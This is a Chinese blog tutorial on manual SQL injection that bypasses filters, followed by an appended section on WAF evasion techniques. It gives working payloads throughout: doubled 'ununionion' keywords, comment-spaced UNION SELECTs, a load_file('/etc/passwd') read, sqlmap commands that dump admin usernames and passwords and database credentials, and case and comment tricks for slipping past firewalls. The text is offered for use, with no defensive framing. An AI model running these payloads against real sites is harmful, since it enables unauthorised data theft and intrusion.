SQL手工注入绕过过滤

1、考虑闭合:单引号 --> %27    空格-->%20  井号--> %23 ; 构造闭合函数 %27teacher%23

2、判断过滤内容:union --> uniunionon ; 联合查询过滤,再un后再加union ;

3、判断列数,使用Union 语法,union 后边语句要与前边已经执行的语句列数相同。

%27/**/ununionion/**/select/**/1/**/%23  判断是否为1列,返回值为错误,空
%27/**/ununionion/**/select/**/1,2/**/%23 判断是否为2列 返回值为正常,则union之前的查询语句为两列
4、id=-1 让前边的select 语句执行输出无内容,再往后执行union语句,打印相关文件内容。
使用load_file(‘/etc/passwd’)

%27/**/ununionion/**/select/**/1,load_file("/etc/passwd")/**/%23

5、或者使用sqlmap -u "url" --tamper "space2comment.py, space2hash.py"

6、SQLMAP用法:
(1)判断库:当前库在第一行 当前是article
sqlmap.py -u "url" --dbs
(2)判断表名:
sqlmap.py -u "url" --dbs  -D article (表名) --tables
(3)判断列名:
sqlmap.py -u "url" --dbs  -D article (表名) -T admin --columns
(4)判断值:
 sqlmap.py -u "url" --dbs  -D article (表名) -T admin -C username, password --dump
(5)判断数据连接用户的密码:sa
 sqlmap.py -u "url" --passwords  找到连接密码 用 nvicat连接。

 

转载于:https://www.cnblogs.com/Bloggeng/p/9539719.html

### 手工SQL注入绕过安全措施的常用技巧 #### 使用特殊字符和编码混淆WAF检测 某些Web应用防火墙(WAF)可能无法正确解析特定模式下的输入,从而允许恶意查询通过。例如,在MySQL环境中,`%20union%20a11%23%0a%20select%201,2,3%23`这样的URL编码可以用来规避基本的过滤机制[^1]。 ```sql http://example.com/vuln.php?id=1 UNION ALL SELECT NULL,NULL,'<script>alert(1)</script>' -- ``` 此代码片段展示了如何利用UNION操作符来附加额外的选择语句,并且使用注释符(`--`)结束原始查询以确保后续部分不会引起语法错误。 #### 利用路径中的关键词触发白名单规则 当目标站点配置有基于URL路径的安全策略时,攻击者可以通过构造特殊的请求地址使这些防护失效。比如向URI中加入像`/admin/`, `/manage/`之类的子串可能会让WAF认为这是合法访问而放行[^2]: ```plaintext http://targetsite/path/to/script?param=value&fakepath=admin/ ``` 上述链接里的`fakepath=admin/`参数并没有实际作用于应用程序逻辑处理过程之中;相反地,它是为了迎合WAF内部预设条件所设计出来的欺骗手段之一。 #### 替代关键字实现相同功能 为了避免被简单的字符串匹配型防御工具拦截,还可以尝试替换标准SQL命令的关键字形式。例如将`SELECT`变为`SeLeCt`或采用其他大小写组合方式书写,甚至借助数据库特有的函数特性达到目的。 ```sql http://vulnerable-site/search?q=test'/**/or/**/'1'%3d'1 ``` 这里采用了多层嵌套注释的方式(即`/**/`),使得一些较为基础版本的WAF难以有效识别并阻止该类型的注入行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值